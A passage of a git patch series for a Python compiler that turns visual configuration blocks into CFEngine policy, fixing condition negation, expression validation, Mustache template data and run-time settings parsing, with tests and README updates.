{"containers": Containers()})() + host = {"id": "h", "name": "web", "ports": [], "env": {"TOKEN": "secret"}} + + assert cfpb_testenv._ensure_container(engine, {"id": "e", "env": {"KEY": "v"}}, host, "image") == "container" + assert "environment" not in created + assert "secret" not in json.dumps(created) + + class _Running: def __init__(self, container_id: str): self.id = self.name = container_id @@ -320,7 +337,7 @@ def run_in(engine, container, command, host, stream, environment=None, keep=None "_network": lambda engine, env: None, "_labelled": lambda engine, env: before, "ensure_image": lambda *args: "image", - "_ensure_container": lambda engine, env, host, image, environment: after[host["id"]], + "_ensure_container": lambda engine, env, host, image: after[host["id"]], "_deploy": lambda *args: None, "_ip": lambda *args: "10.0.0.2", "_bootstrapped": lambda engine, container: container.id in bootstrapped, From ce4f28a5d7a83ff34c2291a2dacd5e8419293cdb Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:29:32 +0300 Subject: [PATCH 111/141] compiler: Fixed "unless" conditions negating only their first class "unless linux|darwin" compiled to "!linux|darwin", which holds on darwin. An expression with an operator is now negated as "!(...)", as cases rows already were. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_compiler.py | 10 ++++++---- python/tests/test_compiler.py | 11 +++++++++++ 2 files changed, 17 insertions(+), 4 deletions(-) diff --git a/python/cfpb_compiler.py b/python/cfpb_compiler.py index df0923a..2bc8839 100644 --- a/python/cfpb_compiler.py +++ b/python/cfpb_compiler.py @@ -96,9 +96,13 @@ def cases_of(value: str) -> list[dict]: ] +def negated(expression: str) -> str: + return f"!({expression})" if re.search(r"[|.&!()]", expression) else f"!{expression}" + + def class_expression(condition: dict) -> str: name = condition["className"].strip() - return f"!{name}" if condition.get("mode") == "unless" else name + return negated(name) if condition.get("mode") == "unless" else name def combined(expressions: list[str]) -> str: @@ -184,9 +188,7 @@ def compile_value(expr, ctx: Context) -> str: args = [] for row in cases_of(ctx.params.get(expr["cases_param"], "")): name = row["className"] - condition = ( - (f"!({name})" if re.search(r"[|.&!]", name) else f"!{name}") if row.get("mode") == "unless" else name - ) + condition = negated(name) if row.get("mode") == "unless" else name args += [quote(condition), quote(row.get("value", ""))] otherwise = compile_value(expr["otherwise"], ctx) return f"ifelse({', '.join([*args, otherwise])})" if args else otherwise diff --git a/python/tests/test_compiler.py b/python/tests/test_compiler.py index 310d66c..cbc75ee 100644 --- a/python/tests/test_compiler.py +++ b/python/tests/test_compiler.py @@ -266,6 +266,17 @@ def test_the_file_condition_guards_every_promise(): assert " reports:\n linux::\n" in policy +@pytest.mark.parametrize("name, expected", [("linux", "!linux"), ("linux|darwin", "!(linux|darwin)")]) +def test_unless_negates_the_whole_expression(name: str, expected: str): + meta = _demo() + block = next(b for b in _webserver(meta)["blocks"] if b["blockId"] == "manage-users") + block["condition"] = {"kind": "class", "className": name, "mode": "unless"} + + users = _block(compile_project(meta)[WEBSERVER], "Create deploy user") + + assert f'if => "{expected}"' in users + + def test_unknown_block_types_fail_the_compile(): meta = _demo() _webserver(meta)["blocks"][0]["blockId"] = "no-such-block" From a45463c1d844b6c8db087cabcde5e887743b403a Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:32:20 +0300 Subject: [PATCH 112/141] compiler: Malformed custom class expressions are skipped with a note A Define Class "Custom" expression was written unchecked: a missing parenthesis failed cf-promises on hosts, and a call followed by more text made the formatter raise, so the project couldn't be saved. The expression is now checked to be a class expression or one function call, and an entry that isn't gets a "# Skipped" note instead. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_compiler.py | 79 +++++++++++++++++++++++++++++++++-- python/tests/test_compiler.py | 29 +++++++++++++ 2 files changed, 105 insertions(+), 3 deletions(-) diff --git a/python/cfpb_compiler.py b/python/cfpb_compiler.py index 2bc8839..ba5b8eb 100644 --- a/python/cfpb_compiler.py +++ b/python/cfpb_compiler.py @@ -37,6 +37,10 @@ class CompileError(Exception): """The canvas can't be compiled (as opposed to one block being skipped).""" +class Skip(Exception): + """One block (or entry) can't be compiled as filled in: it's skipped with this note.""" + + def blocks_dir() -> Path: # PyInstaller unpacks data files under sys._MEIPASS; in development it's the repo's blocks/. bundled = getattr(sys, "_MEIPASS", None) @@ -111,6 +115,66 @@ def combined(expressions: list[str]) -> str: return ".".join(parts) +VARIABLE_REF = r"[$@](?:\([\w.:\[\]]*\)|\{[\w.:\[\]]*\})" +CLASS_TOKEN = re.compile(rf"\|\||[|.&!()]|(?:[\w:]|{VARIABLE_REF})+") +CALL_TOKEN = re.compile(rf"""\s*("(?:\\.|[^"\\])*"|'(?:\\.|[^'\\])*'|{VARIABLE_REF}|[\w.:+-]+|[(),])""") + + +def valid_class_expression(text: str) -> bool: + """Class names joined by . & | ||, negated with !, grouped in ( ); no spaces.""" + depth, operand = 0, False # operand: the last token ends an operand + for match in re.finditer(rf"{CLASS_TOKEN.pattern}|.", text, re.S): + token = match.group() + if token in ("!", "("): + if operand: + return False + depth += token == "(" + elif token == ")": + if not operand or not depth: + return False + depth -= 1 + elif token in ("|", "||", ".", "&"): + if not operand: + return False + operand = False + continue + elif CLASS_TOKEN.fullmatch(token) and not operand: + operand = True + continue + else: + return False + operand = token == ")" + return operand and depth == 0 + + +def valid_function_call(text: str) -> bool: + """One call, `name(arg, …)`: arguments are calls, strings, variables or bare words.""" + tokens, at = [], 0 + while at < len(text.rstrip()): + match = CALL_TOKEN.match(text, at) + if not match: + return False + tokens.append(match.group(1)) + at = match.end() + + def call(i: int) -> int | None: + if i + 1 >= len(tokens) or not re.fullmatch(r"[A-Za-z_]\w*", tokens[i]) or tokens[i + 1] != "(": + return None + i += 2 + if i < len(tokens) and tokens[i] == ")": + return i + 1 + while i < len(tokens): + i = call(i) or (i + 1 if tokens[i] not in ("(", ")", ",") else None) + if i is None or i >= len(tokens) or tokens[i] not in (",", ")"): + return None + if tokens[i] == ")": + return i + 1 + i += 1 + return None + + return call(0) == len(tokens) + + @dataclass class Context: """What an expression compiles against: one block's (or entry's) parameters.""" @@ -159,8 +223,13 @@ def compile_value(expr, ctx: Context) -> str: refs = [("!" if ref.get("negate") else "") + ref["name"] for ref in ctx.class_refs if ref.get("name")] return "{ " + ", ".join(quote(ref) for ref in refs) + " }" if "class_expression" in expr: - text = ctx.substitute(expr["class_expression"]) - return text if FUNCTION_CALL.match(text) else quote(text) + text = ctx.substitute(expr["class_expression"]).strip() + if FUNCTION_CALL.match(text): + if valid_function_call(text): + return text + elif valid_class_expression(text): + return quote(text) + raise Skip("not a valid class expression or function call") if "bundle" in expr: name = ctx.substitute(expr["bundle"]) args = expr.get("args") @@ -490,8 +559,12 @@ def entry_promises(self, block: dict, descriptor: dict, entry: dict) -> tuple[st ) if kind != "vars": + try: + attributes = attributes_of(step, ctx) + except Skip as skip: + return kind, [f"# Skipped {name}: {skip}."] return kind, promise( - quote(ctx.substitute(step["promiser"])), [*attributes_of(step, ctx), *condition_attributes(conditions)] + quote(ctx.substitute(step["promiser"])), [*attributes, *condition_attributes(conditions)] ) [(value_type, value)] = step["attributes"].items() diff --git a/python/tests/test_compiler.py b/python/tests/test_compiler.py index cbc75ee..2d88003 100644 --- a/python/tests/test_compiler.py +++ b/python/tests/test_compiler.py @@ -277,6 +277,35 @@ def test_unless_negates_the_whole_expression(name: str, expected: str): assert f'if => "{expected}"' in users +def _custom_class(expression: str) -> dict: + entry = {"id": "e", "valueSourceId": "custom", "params": {"class_name": "custom", "condition": expression}} + block = {"instanceId": "c", "blockId": "define-class", "label": "Classes", "params": {}, "entries": [entry]} + return {"files": [{"id": "f", "name": "T", "bundle": "t", "path": "./t.cf", "blocks": [block]}]} + + +@pytest.mark.parametrize( + "expression, compiled", + [ + ("linux.!(debian|redhat)", '"linux.!(debian|redhat)"'), + ("role_$(sys.uqhost)", '"role_$(sys.uqhost)"'), + ('not(fileexists("/x"))', 'not(fileexists("/x"))'), + ('and(linux, isvariable("sys.fqhost"))', 'and(linux, isvariable("sys.fqhost"))'), + ], +) +def test_a_custom_class_expression_is_written_as_is(expression: str, compiled: str): + assert f'"custom" expression => {compiled};' in compile_project(_custom_class(expression))["./t.cf"] + + +@pytest.mark.parametrize( + "expression", ['not(fileexists("/x")', 'fileexists("/etc/hosts").linux', "linux |", "linux debian", "(linux"] +) +def test_a_malformed_custom_class_expression_is_skipped_with_a_note(expression: str): + policy = compile_project(_custom_class(expression))["./t.cf"] + + assert "# Skipped custom: not a valid class expression or function call." in policy + assert "expression =>" not in policy + + def test_unknown_block_types_fail_the_compile(): meta = _demo() _webserver(meta)["blocks"][0]["blockId"] = "no-such-block" From cdf1a4c1fd80079cd17c9ae52c13d1421b285781 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:33:57 +0300 Subject: [PATCH 113/141] compiler: Template data copies no longer collide with a block's other locals A template's copy of vars.x_vars.owner and an Owner computed from data were both named _owner, so the wrong value won and cf-agent aborted. Template copies are now named _tpl_. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- blocks/README.md | 6 +++--- python/cfpb_compiler.py | 3 ++- python/tests/snapshots/render-template.cf | 6 ++++-- python/tests/test_compiler.py | 20 ++++++++++++++++---- 4 files changed, 25 insertions(+), 10 deletions(-) diff --git a/blocks/README.md b/blocks/README.md index 3f7ae5d..a711cdf 100644 --- a/blocks/README.md +++ b/blocks/README.md @@ -114,9 +114,9 @@ implements this; the output is run through `cfengine format`. a file module can't carry extra files). The policy refers to it relative to itself, so it resolves the same in the project and on hosts. - **Mustache templates** get an explicit `template_data` with just what they read, rather than - the whole `datastate()`: local copies of the variables the template names, wrapped by - `mergedata()` (safe for any value, unlike `"$(x)"` inside inline JSON), plus its classes as - `true`/`false`. It has `datastate()`'s shape, so templates are written the same way. A template + the whole `datastate()`: local copies of the variables the template names + (`_tpl_`, apart from the block's other locals), wrapped by `mergedata()` (safe for + any value, unlike `"$(x)"` inside inline JSON), plus its classes as `true`/`false`. It has `datastate()`'s shape, so templates are written the same way. A template reading anything else (e.g. `{{#-top-}}`) keeps rendering against `datastate()`. - **A block missing a required parameter** (or a data-fed one missing its source's) compiles to an empty bundle with a `# Skipped` note, so saving never fails on an unfinished block. diff --git a/python/cfpb_compiler.py b/python/cfpb_compiler.py index ba5b8eb..fc15835 100644 --- a/python/cfpb_compiler.py +++ b/python/cfpb_compiler.py @@ -824,8 +824,9 @@ def template_data( if refs is None: return None names = [name for _bundle, name in refs.variables] + # `tpl_`: apart from the block's other locals, which are named after its parameters. local = { - ref: prefix + (ref[1] if names.count(ref[1]) == 1 else canonical(f"{ref[0]}_{ref[1]}")) + ref: f"{prefix}tpl_" + (ref[1] if names.count(ref[1]) == 1 else canonical(f"{ref[0]}_{ref[1]}")) for ref in refs.variables } lines, bundles = [], {} diff --git a/python/tests/snapshots/render-template.cf b/python/tests/snapshots/render-template.cf index 7e55e37..af3ebe3 100644 --- a/python/tests/snapshots/render-template.cf +++ b/python/tests/snapshots/render-template.cf @@ -1,10 +1,12 @@ ### example # Case 0 vars: - "case_0_fqhost" string => "$(sys.fqhost)"; + "case_0_tpl_fqhost" string => "$(sys.fqhost)"; "case_0_template_data" - data => mergedata('{ "vars": { "sys": { "fqhost": case_0_fqhost } } }'); + data => mergedata( + '{ "vars": { "sys": { "fqhost": case_0_tpl_fqhost } } }' + ); files: "/etc/app.conf" diff --git a/python/tests/test_compiler.py b/python/tests/test_compiler.py index 2d88003..4a7f9a7 100644 --- a/python/tests/test_compiler.py +++ b/python/tests/test_compiler.py @@ -130,9 +130,9 @@ def test_templates_ship_as_one_directory_module_only_when_there_are_any(): def test_a_template_gets_only_the_data_it_reads_named_after_its_block(): render = _block(compile_project(DEMO)[WEBSERVER], "Render nginx config") - assert '"render_nginx_config_worker_processes"\n string => "$(common_vars.worker_processes)";' in render - assert """'{ "vars": { "common_vars": { "worker_processes": render_nginx_config_worker_processes, \ -"worker_connections": render_nginx_config_worker_connections } } }'""" in render + assert '"render_nginx_config_tpl_worker_processes"\n string => "$(common_vars.worker_processes)";' in render + assert """'{ "vars": { "common_vars": { "worker_processes": render_nginx_config_tpl_worker_processes, \ +"worker_connections": render_nginx_config_tpl_worker_connections } } }'""" in render assert "template_data => @(render_nginx_config_template_data)," in render @@ -148,7 +148,7 @@ def test_template_classes_become_true_or_false_and_special_variables_are_copied( assert """'{ "classes": { "webserver_role": %s } }',""" in render assert 'ifelse("webserver_role", "true", "false")' in render - assert '"render_nginx_config_fqhost" string => "$(sys.fqhost)";' in render + assert '"render_nginx_config_tpl_fqhost" string => "$(sys.fqhost)";' in render def test_a_template_reading_anything_else_keeps_datastate(): @@ -157,6 +157,18 @@ def test_a_template_reading_anything_else_keeps_datastate(): assert "template_data" not in render +def test_template_copies_keep_clear_of_parameters_computed_from_data(): + meta = _demo() + block = next(b for b in _webserver(meta)["blocks"] if b["blockId"] == "render-template") + block["params"]["template_content"] = "{{{vars.common_vars.owner}}}" + block["paramBindings"] = {"owner": {"valueSourceId": "command-output", "params": {"command": "/usr/bin/id -un"}}} + + render = _block(compile_project(meta)[WEBSERVER], "Render nginx config") + + assert '"render_nginx_config_owner"\n string => execresult(' in render + assert '"render_nginx_config_tpl_owner" string => "$(common_vars.owner)";' in render + + def test_default_if_empty_splits_into_an_intermediate_and_two_promises(): policy = compile_project(DEMO)[COMMON] From 5f04ae0d4eb7b79f7a1b3203dc5bfa6666bed472 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:37:03 +0300 Subject: [PATCH 114/141] compiler: Templates render like datastate() for variables that aren't set The explicit template_data copied every variable a template names, as a string and unguarded: an unset variable rendered as "$(t_vars.port)", and a list such as sys.interfaces failed the render, leaving an empty file. Only the project's own variables are copied now, each guarded with isvariable() and by its known type, and while any is unset the template gets datastate() instead. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- blocks/README.md | 6 +++-- python/cfpb_compiler.py | 25 ++++++++++++++----- python/tests/snapshots/render-template.cf | 11 +-------- python/tests/test_compiler.py | 30 +++++++++++++++++++---- 4 files changed, 49 insertions(+), 23 deletions(-) diff --git a/blocks/README.md b/blocks/README.md index a711cdf..ea44ac2 100644 --- a/blocks/README.md +++ b/blocks/README.md @@ -116,8 +116,10 @@ implements this; the output is run through `cfengine format`. - **Mustache templates** get an explicit `template_data` with just what they read, rather than the whole `datastate()`: local copies of the variables the template names (`_tpl_`, apart from the block's other locals), wrapped by `mergedata()` (safe for - any value, unlike `"$(x)"` inside inline JSON), plus its classes as `true`/`false`. It has `datastate()`'s shape, so templates are written the same way. A template - reading anything else (e.g. `{{#-top-}}`) keeps rendering against `datastate()`. + any value, unlike `"$(x)"` inside inline JSON), plus its classes as `true`/`false`. It has + `datastate()`'s shape, so templates are written the same way. Only the project's own variables + are copied, and only while all of them are set; otherwise, and for a template reading anything + else (`{{{vars.sys.fqhost}}}`, `{{#-top-}}`), it renders against `datastate()`. - **A block missing a required parameter** (or a data-fed one missing its source's) compiles to an empty bundle with a `# Skipped` note, so saving never fails on an unfinished block. diff --git a/python/cfpb_compiler.py b/python/cfpb_compiler.py index fc15835..4f431c3 100644 --- a/python/cfpb_compiler.py +++ b/python/cfpb_compiler.py @@ -821,7 +821,8 @@ def template_data( return None template = next((params[p["name"]] for p in declared if p.get("mustache")), None) refs = template_refs(template) if template is not None else None - if refs is None: + # Only the project's own variables, whose types are known; anything else reads datastate(). + if refs is None or any(f"{bundle}.{name}" not in self.types for bundle, name in refs.variables): return None names = [name for _bundle, name in refs.variables] # `tpl_`: apart from the block's other locals, which are named after its parameters. @@ -832,13 +833,15 @@ def template_data( lines, bundles = [], {} for (bundle, name), copy in local.items(): qualified = f"{bundle}.{name}" - kind = self.types.get(qualified, "string") + kind = self.types[qualified] + # Unset (its condition is false): no copy, so it's left out, as in datastate(). + defined = f"if => isvariable({quote(qualified)})" if kind == "slist": - lines += promise(quote(copy), [f"slist => {{ @({qualified}) }}"]) + lines += promise(quote(copy), [f"slist => {{ @({qualified}) }}", defined]) elif kind == "data": - lines += promise(quote(copy), [f"data => mergedata({quote(qualified)})"]) + lines += promise(quote(copy), [f"data => mergedata({quote(qualified)})", defined]) else: - lines += promise(quote(copy), [f"string => {quote(f'$({qualified})')}"]) + lines += promise(quote(copy), [f"string => {quote(f'$({qualified})')}", defined]) bundles.setdefault(bundle, []).append(f'"{name}": {copy}') parts = [] if bundles: @@ -854,7 +857,17 @@ def template_data( data = f"mergedata({', '.join(parts)})" else: data = parts[0] - return [*lines, *promise(f'"{prefix}template_data"', [f"data => {data}"])] + name = f'"{prefix}template_data"' + if not refs.variables: + return [*lines, *promise(name, [f"data => {data}"])] + # With any of them unset, datastate() (inline JSON naming an unset variable is no data at all). + isset = [f"isvariable({quote(f'{bundle}.{variable}')})" for bundle, variable in refs.variables] + fallback = f"unless => isvariable({quote(f'{prefix}template_data')})" + return [ + *lines, + *promise(name, [f"data => {data}", *if_all(isset)]), + *promise(name, ["data => datastate()", fallback]), + ] def builder_body(self, name: str) -> str: body = self.library.bodies[name] diff --git a/python/tests/snapshots/render-template.cf b/python/tests/snapshots/render-template.cf index af3ebe3..d06ee7e 100644 --- a/python/tests/snapshots/render-template.cf +++ b/python/tests/snapshots/render-template.cf @@ -1,20 +1,11 @@ ### example # Case 0 - vars: - "case_0_tpl_fqhost" string => "$(sys.fqhost)"; - - "case_0_template_data" - data => mergedata( - '{ "vars": { "sys": { "fqhost": case_0_tpl_fqhost } } }' - ); - files: "/etc/app.conf" create => "true", edit_template => "$(this.promise_dirname)/templates/snap_case_0.mustache", template_method => "mustache", - perms => mog("644", "root", "root"), - template_data => @(case_0_template_data); + perms => mog("644", "root", "root"); ### file ./templates/snap_case_0.mustache host = {{{vars.sys.fqhost}}} diff --git a/python/tests/test_compiler.py b/python/tests/test_compiler.py index 4a7f9a7..c05f4f6 100644 --- a/python/tests/test_compiler.py +++ b/python/tests/test_compiler.py @@ -130,7 +130,10 @@ def test_templates_ship_as_one_directory_module_only_when_there_are_any(): def test_a_template_gets_only_the_data_it_reads_named_after_its_block(): render = _block(compile_project(DEMO)[WEBSERVER], "Render nginx config") - assert '"render_nginx_config_tpl_worker_processes"\n string => "$(common_vars.worker_processes)";' in render + assert ( + '"render_nginx_config_tpl_worker_processes"\n string => "$(common_vars.worker_processes)",\n' + ' if => isvariable("common_vars.worker_processes");' + ) in render assert """'{ "vars": { "common_vars": { "worker_processes": render_nginx_config_tpl_worker_processes, \ "worker_connections": render_nginx_config_tpl_worker_connections } } }'""" in render assert "template_data => @(render_nginx_config_template_data)," in render @@ -143,12 +146,26 @@ def _render_template(template: str) -> str: return _block(compile_project(meta)[WEBSERVER], "Render nginx config") -def test_template_classes_become_true_or_false_and_special_variables_are_copied(): - render = _render_template("{{#classes.webserver_role}}on{{/classes.webserver_role}} {{{vars.sys.fqhost}}}") +def test_template_classes_become_true_or_false(): + render = _render_template("{{#classes.webserver_role}}on{{/classes.webserver_role}}") assert """'{ "classes": { "webserver_role": %s } }',""" in render assert 'ifelse("webserver_role", "true", "false")' in render - assert '"render_nginx_config_tpl_fqhost" string => "$(sys.fqhost)";' in render + + +def test_a_template_falls_back_to_datastate_while_any_variable_it_reads_is_unset(): + render = _render_template("{{{vars.common_vars.worker_connections}}}") + + assert 'if => isvariable("common_vars.worker_connections");' in render + assert 'data => datastate(),\n unless => isvariable("render_nginx_config_template_data");' in render + + +def test_a_template_reading_variables_the_project_doesnt_define_keeps_datastate(): + render = _render_template( + "{{{vars.common_vars.worker_connections}}} {{#vars.sys.interfaces}}{{.}}{{/vars.sys.interfaces}}" + ) + + assert "template_data" not in render def test_a_template_reading_anything_else_keeps_datastate(): @@ -161,12 +178,15 @@ def test_template_copies_keep_clear_of_parameters_computed_from_data(): meta = _demo() block = next(b for b in _webserver(meta)["blocks"] if b["blockId"] == "render-template") block["params"]["template_content"] = "{{{vars.common_vars.owner}}}" + meta["files"][0]["blocks"][0]["entries"].append( + {"id": "o", "valueSourceId": "literal", "params": {"variable_name": "owner", "value": "www"}} + ) block["paramBindings"] = {"owner": {"valueSourceId": "command-output", "params": {"command": "/usr/bin/id -un"}}} render = _block(compile_project(meta)[WEBSERVER], "Render nginx config") assert '"render_nginx_config_owner"\n string => execresult(' in render - assert '"render_nginx_config_tpl_owner" string => "$(common_vars.owner)";' in render + assert '"render_nginx_config_tpl_owner"\n string => "$(common_vars.owner)",' in render def test_default_if_empty_splits_into_an_intermediate_and_two_promises(): From 7a24fc311133dd6ad018c4a37ef8587ba9f318c9 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:38:46 +0300 Subject: [PATCH 115/141] compiler: A Render Template computed from data renders it, not a placeholder The template file got the placeholder "$(_template_content)", so that text is what ended up in the destination. A computed template now renders inline, as edit_template_string with inline_mustache, against datastate(). Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- blocks/README.md | 3 +++ python/cfpb_compiler.py | 19 +++++++++++++++++-- python/tests/test_compiler.py | 16 ++++++++++++++++ 3 files changed, 36 insertions(+), 2 deletions(-) diff --git a/blocks/README.md b/blocks/README.md index ea44ac2..df14095 100644 --- a/blocks/README.md +++ b/blocks/README.md @@ -248,6 +248,9 @@ list iterates, as with `allow_list`: "$(install_packages_package_name)" policy => "present"; ``` +A Mustache template computed from data has no file to write: the promise renders the variable +instead (`edit_template_string`, `template_method => "inline_mustache"`), against `datastate()`. + ## Conditions and inventory A block instance, and each entry, can carry one **condition** (`if` or `unless` a class — see diff --git a/python/cfpb_compiler.py b/python/cfpb_compiler.py index 4f431c3..d440fe0 100644 --- a/python/cfpb_compiler.py +++ b/python/cfpb_compiler.py @@ -749,7 +749,7 @@ def block_parts( steps = descriptor.get("steps", []) if len(steps) != 1: raise CompileError(f"{descriptor['name']}: only one-step blocks compile so far") - step = steps[0] + step = inline_computed_template(steps[0], computed) to_root = "../" * self.file["path"][2:].count("/") ctx = Context( self.vars_name, @@ -780,7 +780,9 @@ def block_parts( ctx.params = promiser_params attributes = attributes_of(step, ctx) variables += ctx.locals - template_data = self.template_data(step, declared, params, prefix) + # A computed template is only known at run time: it renders against datastate(). + template_bound = any(p.get("mustache") and p["name"] in computed for p in declared) + template_data = None if template_bound else self.template_data(step, declared, params, prefix) if template_data: variables += template_data attributes.append(f"template_data => @({prefix}template_data)") @@ -876,6 +878,19 @@ def builder_body(self, name: str) -> str: return f"body {body['type']} {name}({', '.join(body['parameters'])})\n{{\n{attributes}\n}}" +def inline_computed_template(step: dict, computed: dict) -> dict: + """A template file whose text is computed from data can't be written out: the step renders + the variable instead, as an inline_mustache edit_template_string.""" + attributes = {} + for key, value in step.get("attributes", {}).items(): + if isinstance(value, dict) and value.get("template_file") in computed: + attributes["edit_template_string"] = f"{{{{{value['template_file']}}}}}" + attributes["template_method"] = "inline_mustache" + elif key != "template_method" or "template_method" not in attributes: + attributes[key] = value + return {**step, "attributes": attributes} + + def condition_attributes(conditions: list[str]) -> list[str]: expression = combined(conditions) return [f"if => {quote(expression)}"] if expression else [] diff --git a/python/tests/test_compiler.py b/python/tests/test_compiler.py index c05f4f6..8dfbaed 100644 --- a/python/tests/test_compiler.py +++ b/python/tests/test_compiler.py @@ -174,6 +174,22 @@ def test_a_template_reading_anything_else_keeps_datastate(): assert "template_data" not in render +def test_a_template_computed_from_data_renders_inline(): + meta = _demo() + block = next(b for b in _webserver(meta)["blocks"] if b["blockId"] == "render-template") + block["paramBindings"] = { + "template_content": {"valueSourceId": "file-content", "params": {"path": "/srv/nginx.conf.mustache"}} + } + + files = compile_project(meta) + render = _block(files[WEBSERVER], "Render nginx config") + + assert TEMPLATE not in files + assert 'edit_template_string => "$(render_nginx_config_template_content)",' in render + assert 'template_method => "inline_mustache",' in render + assert "template_data" not in render + + def test_template_copies_keep_clear_of_parameters_computed_from_data(): meta = _demo() block = next(b for b in _webserver(meta)["blocks"] if b["blockId"] == "render-template") From 818b3d01d79e382852d6fe520a3c5a8ff11b25bf Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:41:54 +0300 Subject: [PATCH 116/141] compiler: Set Config Values splits settings computed from data at run time Computed settings were split into key and value at compile time, where they are just "$(_settings)": command output "Port 22" became key "Port 22" with an empty value. The lines are now split on the host, each matched with data_regextract() into _settings__array, the same way typed-in settings are. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- blocks/README.md | 2 +- python/cfpb_compiler.py | 49 ++++++++++++++++++++---- python/tests/test_compiler.py | 25 ++++++++++++ python/tests/test_compiler_all_blocks.py | 4 ++ 4 files changed, 71 insertions(+), 9 deletions(-) diff --git a/blocks/README.md b/blocks/README.md index df14095..ff013d3 100644 --- a/blocks/README.md +++ b/blocks/README.md @@ -146,7 +146,7 @@ Every promiser and attribute value is an **expression**: | `{"bundle": "{{bundle_name}}"}` | A `usebundle` target, as written — also an `edit_line` bundle with `args` (`edit_line => append_if_no_lines("…")`) | | `{"choose": "format", "cases": {"space": " ", "equals": "="}}` | The case for an options parameter's value (a separator per file format) | | `{"cases_param": "cases", "otherwise": "{{otherwise}}"}` | A `cases` parameter's rows (JSON `[{className, mode, value}]`, edited as condition → value rows) as `ifelse("debian", "www-data", "!redhat", "nginx", "nobody")`: the first holding condition wins; rows without a condition are skipped | -| `{"array_param": "settings"}` | `key value` / `key=value` lines as a local array, `"_settings[key]" string => "value";`, compiled to its qualified name (`"tier.harden_ssh_settings"`) — what `set_line_based()` takes | +| `{"array_param": "settings"}` | `key value` / `key=value` lines as a local array, `"_settings[key]" string => "value";`, compiled to its qualified name (`"tier.harden_ssh_settings"`) — what `set_line_based()` takes. Computed from data, the lines are split at run time instead (`data_regextract()` per line, into `_settings__array`) | | `{"variable": "{{param}}", "as": ...}` | A picked variable, always bundle-qualified (`vars.x` means this file's `_vars.x`): `scalar` → `"$(common_vars.x)"`, `list` → `{ @(common_vars.x) }`, `name` → `"common_vars.x"` | | `{"previous": "value"}` | Decorators only: the incoming value (see "Chains") | | `{"if_set": "param", "value": ...}` | The attribute, or nothing when the parameter is empty (`report_to_file => ""` is a hard error) | diff --git a/python/cfpb_compiler.py b/python/cfpb_compiler.py index d440fe0..e4655ac 100644 --- a/python/cfpb_compiler.py +++ b/python/cfpb_compiler.py @@ -79,6 +79,8 @@ def quote(text: str) -> str: # `key value` or `key=value` (or a bare key); keys hold no spaces, `=` or brackets. KEY_VALUE = re.compile(r"^([^\s=\[\]]+)(?:\s*[=\s]\s*(.*?))?\s*$") +# The same for CFEngine's data_regextract(), on one unstripped line; a `#` line isn't one. +ARRAY_LINE = r"^\s*(?[^\s=\[\]#][^\s=\[\]]*)\s*[=\s]?\s*(?.*?)\s*$" def lines_of(value: str) -> list[str]: @@ -196,6 +198,8 @@ class Context: prefix: str = "" owner: str = "" locals: list[str] = field(default_factory=list) + # Parameters computed from data -> their CFEngine type. + computed: dict[str, str] = field(default_factory=dict) def substitute(self, template: str) -> str: return PLACEHOLDER.sub(lambda match: self.params.get(match.group(1), ""), template) @@ -264,6 +268,8 @@ def compile_value(expr, ctx: Context) -> str: if "array_param" in expr: # One `key value` / `key=value` line per entry, as a local array; the qualified name is passed. local = f"{ctx.prefix}{expr['array_param']}" + if expr["array_param"] in ctx.computed: + return computed_array(expr["array_param"], ctx) for line in lines_of(ctx.params.get(expr["array_param"], "")): match = KEY_VALUE.match(line) if match and not line.startswith("#"): @@ -278,6 +284,24 @@ def compile_value(expr, ctx: Context) -> str: raise CompileError(f"Unknown expression: {json.dumps(expr)}") +def computed_array(param: str, ctx: Context) -> str: + """array_param computed from data: its lines are only known at run time, so they're split + into `__array` there, as KEY_VALUE (and the # comment check) would.""" + local = f"{ctx.prefix}{param}" + if ctx.computed[param] not in ("slist", "data"): + rows = f'mergedata(string_split({quote(f"$({local})")}, "\\n", "100000"))' + else: + rows = f"mergedata({quote(f'{ctx.owner}.{local}')})" + index, match = f"$({local}__i)", f"{local}__kv_$({local}__i)" + ctx.locals += [ + f'"{local}__rows" data => {rows};', + f'"{local}__i" slist => getindices("{local}__rows");', + f'"{match}" data => data_regextract({quote(ARRAY_LINE)}, "$({local}__rows[{index}])");', + f'"{local}__array[$({match}[key])]" string => "$({match}[value])";', + ] + return quote(f"{ctx.owner}.{local}__array") + + def list_value(items: list[str], ctx: Context) -> str: if not ctx.as_argument: return "{ " + ", ".join(items) + " }" @@ -760,9 +784,10 @@ def block_parts( to_root=to_root, prefix=prefix, owner=owner, + computed={param: kind for param, (_lines, kind) in computed.items()}, ) # A one-value-per-line parameter in the promiser iterates over a list, unless it holds one value. - variables, promiser_params = [line for lines in computed.values() for line in lines], dict(params) + variables, promiser_params = [line for lines, _kind in computed.values() for line in lines], dict(params) for param in declared: values = ( lines_of(params[param["name"]]) if param.get("allow_list") and param["name"] not in computed else [] @@ -788,10 +813,12 @@ def block_parts( attributes.append(f"template_data => @({prefix}template_data)") return variables, step["promise_type"], quote(promiser), attributes - def computed_parameters(self, block: dict, bundle: str, prefix: str = "") -> tuple[dict[str, list[str]], list[str]]: + def computed_parameters( + self, block: dict, bundle: str, prefix: str = "" + ) -> tuple[dict[str, tuple[list[str], str]], list[str]]: """Parameters computed from data ("Compute from data…"): a Define Variable value source and its decorators, as `vars:` promises named after the parameter in the - block's own bundle. Returns them, and the labels of any that aren't filled in.""" + block's own bundle. Returns them with their type, and the labels of any that aren't filled in.""" definitions = self.library.descriptors.get("define-variable", {}) sources = {source["id"]: source for source in 